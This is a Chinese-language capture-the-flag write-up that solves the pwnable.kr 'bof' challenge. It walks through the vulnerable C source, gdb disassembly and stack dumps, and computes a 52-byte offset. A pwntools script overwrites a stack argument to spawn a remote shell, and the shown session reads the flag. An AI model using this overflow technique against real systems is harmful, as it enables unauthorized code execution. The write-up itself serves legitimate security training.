个人比较菜 就想分享下自己的思路和过程 如果有问题欢迎大家批评指点
题目网站:http://pwnable.kr
题目
Bof 32位经典缓冲区溢出题目
解题过程
因为题目提供了源码所以先看看代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
接着丢bof到gdb 查看下汇编代码
gdb-peda$ disass main
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
当0xdeadbeef作为参数传递时,它会在调用func之前添加到堆栈中 然后在这里下断查看下它在哪
gdb-peda$ b *main+16
Breakpoint 1 at 0x69a
gdb-peda$ r
Starting program: /home/ios/bof
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb9dbc --> 0xffffd13c --> 0xffffd31a ("XDG_VTNR=7")
EBX: 0x0
ECX: 0x5bca2c32
EDX: 0xffffd0c4 --> 0x0
ESI: 0xf7fb8000 --> 0x1afdb0
EDI: 0xf7fb8000 --> 0x1afdb0
EBP: 0xffffd098 --> 0x0
ESP: 0xffffd080 --> 0xdeadbeef
EIP: 0x5655569a (<main+16>: call 0x5655562c <func>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655568d <main+3>: and esp,0xfffffff0
0x56555690 <main+6>: sub esp,0x10
0x56555693 <main+9>: mov DWORD PTR [esp],0xdeadbeef
=> 0x5655569a <main+16>: call 0x5655562c <func>
0x5655569f <main+21>: mov eax,0x0
0x565556a4 <main+26>: leave
0x565556a5 <main+27>: ret
0x565556a6: nop
Guessed arguments:
arg[0]: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0xdeadbeef
0004| 0xffffd084 ("PRUV\271VUV")
0008| 0xffffd088 --> 0x565556b9 (<__libc_csu_init+9>: add ebx,0x193b)
0012| 0xffffd08c --> 0x0
0016| 0xffffd090 --> 0xf7fb8000 --> 0x1afdb0
0020| 0xffffd094 --> 0xf7fb8000 --> 0x1afdb0
0024| 0xffffd098 --> 0x0
0028| 0xffffd09c --> 0xf7e20637 (<__libc_start_main+247>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x5655569a in main ()
可以看到,传入func之前他在ESP: 0xffffd080 –> 0xdeadbeef
然后汇编看下func
gdb-peda$ disass func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7e67140 <puts>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e66890 <gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7e42940 <system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7e67140 <puts>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7efd790 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.
在 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 处 下断
gdb-peda$ n
overflow me :
AAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0xffffd04c ("AAAAAAAAAA")
EBX: 0x0
ECX: 0xf7fb85a0 --> 0xfbad2288
EDX: 0xf7fb987c --> 0x0
ESI: 0xf7fb8000 --> 0x1afdb0
EDI: 0xf7fb8000 --> 0x1afdb0
EBP: 0xffffd078 --> 0xffffd098 --> 0x0
ESP: 0xffffd030 --> 0xffffd04c ("AAAAAAAAAA")
EIP: 0x56555654 (<func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555649 <func+29>: lea eax,[ebp-0x2c]
0x5655564c <func+32>: mov DWORD PTR [esp],eax
0x5655564f <func+35>: call 0xf7e66890 <gets>
=> 0x56555654 <func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <func+47>: jne 0x5655566b <func+63>
0x5655565d <func+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <func+56>: call 0xf7e42940 <system>
0x56555669 <func+61>: jmp 0x56555677 <func+75>
[------------------------------------stack-------------------------------------]
0000| 0xffffd030 --> 0xffffd04c ("AAAAAAAAAA")
0004| 0xffffd034 --> 0xffffd0d4 --> 0xd28e2a50
0008| 0xffffd038 --> 0xf7fb8000 --> 0x1afdb0
0012| 0xffffd03c --> 0xd267
0016| 0xffffd040 --> 0xffffffff
0020| 0xffffd044 --> 0x2f ('/')
0024| 0xffffd048 --> 0xf7e14dc8 --> 0x2b76 ('v+')
0028| 0xffffd04c ("AAAAAAAAAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x56555654 in func ()
`
AAAAAAAAAA 的指针位于堆栈的顶部,它指向地址ESP: 0xffffd030 –> 0xffffd04c (“AAAAAAAAAA”)
所以可以计算偏移量
gdb-peda$ p/d 0xffffd080 - 0xffffd04c
$1 = 52
有了偏移量 就可以写payload了
from pwn import *
#p = process('./bof')
p = remote('pwnable.kr',9000)
payload = 'A'*52 + '\xbe\xba\xfe\xca'
p.send(payload)
p.interactive()
运行结果…
ios@ubuntu:~$ python bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)